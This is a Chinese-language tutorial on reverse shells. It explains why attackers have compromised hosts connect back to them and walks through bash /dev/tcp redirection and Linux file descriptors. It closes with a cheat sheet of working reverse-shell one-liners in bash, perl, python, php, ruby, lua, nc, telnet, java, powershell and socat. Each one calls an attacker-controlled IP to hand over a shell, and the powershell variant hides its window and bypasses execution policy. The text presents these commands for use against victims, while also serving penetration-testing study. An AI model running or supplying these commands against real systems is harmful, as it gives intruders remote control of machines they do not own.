反弹Shell

什么是反弹shell

reverse shell反弹shell或者说反向shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

为什么要反弹

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。

什么时候需要

  • 某客户机中了你的网马,但是它在局域网内,你直接连接不了。
  • 它的ip会动态改变,你不能持续控制。
  • 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

反弹shell 基础例子bash 反弹

比如下面这个bash反弹shell:

  1. bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

bash -i

1)bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别

2)-i 这个参数表示的是产生交互式的shell

/dev/tcp/ip/port
/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件
反弹Shell - 图1

但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

  • 攻击者nc监听,目标机输入,攻击者输出。
    反弹Shell - 图2

  • 攻击者nc监听,输入,目标机器输出。
    反弹Shell - 图3

  • 交互重定向

为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上
在受害者机器上输入
bash -i > /dev/tcp/192.168.1.218/2333

反弹Shell - 图4

bash -i < /dev/tcp/192.168.1.218/2333

指令的意思是将攻击者输入的命令输入给受害者的bash

反弹Shell - 图5

bash -i > /dev/tcp/192.168.1.218/2333 0>&1
反弹Shell - 图6
由这张示意图可以很清楚地看到,输入0是由/dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell 的功能

反弹Shell - 图7

现在shell 是交互式了,但是存在一个问题,就是目标机器上能够看到我们输入的指令。

  • 利用 >&、&> 混合输出(错误、正确输出都输出到一个地方)

bash -i > /dev/tcp/192.168.1.218/2333 0>&1 2>&1
或者
bash -i >& /dev/tcp/192.168.1.218/2333 0>&1
目标机器上并没有出现执行的指令。
反弹Shell - 图8

反弹Shell - 图9

文件描述符与重定向

文件描述符

Linux启动的时候会默认打开三个文件描述符,分别是:

  • 标准输入standard input 0 (默认设备键盘),stdin 0
  • 标准输出standard output 1(默认设备显示器),stdout 1
  • 错误输出:error output 2(默认设备显示器),stderr 2
    PS:
    (1)以后再打开文件,描述符可以依次增加
    (2)一条shell命令,都会继承其父进程的文件描述符,因此所有的shell命令,都会默认有三个文件描述符。

文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)

一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

重定向

重定向主要分为两种(其他复杂的都是从这两种衍生而来的):

(1)输入重定向 < <<
(2)输出重定向 > >>

如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果

输入重定向

格式: [n]< word (注意[n]与<之间没有空格)
说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)
反弹Shell - 图10

解析器解析到 “<” 以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了

输出重定向

格式: [n]> word
说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)
反弹Shell - 图11

标准输出与标准错误输出重定向

格式: &> word >& word
说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的
反弹Shell - 图12
解释:我们首先执行了一个错误的命令,可以看到错误提示被写入文件(正常情况下是会直接输出的),我们又执行了一条正确的指令,发现结果也输入到了文件,说明正确错误消息都能输出到文件。

文件描述符的复制

格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)

1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

exec 绑定重定向

上面的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令

格式:exec [n] </> file/[n]
格式: [n]<>word
说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入。
反弹Shell - 图13

反弹Shell - 图14

常见的反弹shell方法

先推荐一个在线工具:https://weibell.github.io/reverse-shell-generator/
以及这个工具:https://gtfobins.github.io/

  • bash
  1. bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
  • perl
  1. perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • python
  1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • php
  1. php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
  • ruby
  1. ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  • lua
  1. lua5.1 -e 'local host, port = "10.10.10.10", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
  • telnet
  1. mknod backpipe p && telnet 123.123.123.123 8080 0<backpipe | /bin/bash 1>backpipe
  • nc
  1. nc -e /bin/sh 10.0.0.1 1234
  2. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
  3. nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
  • java
  1. r = Runtime.getRuntime()
  2. p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
  3. p.waitFor()
  • powershell
  1. powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
  • socat
  1. TCP:10.10.10.10:4242 EXEC:sh

参考资料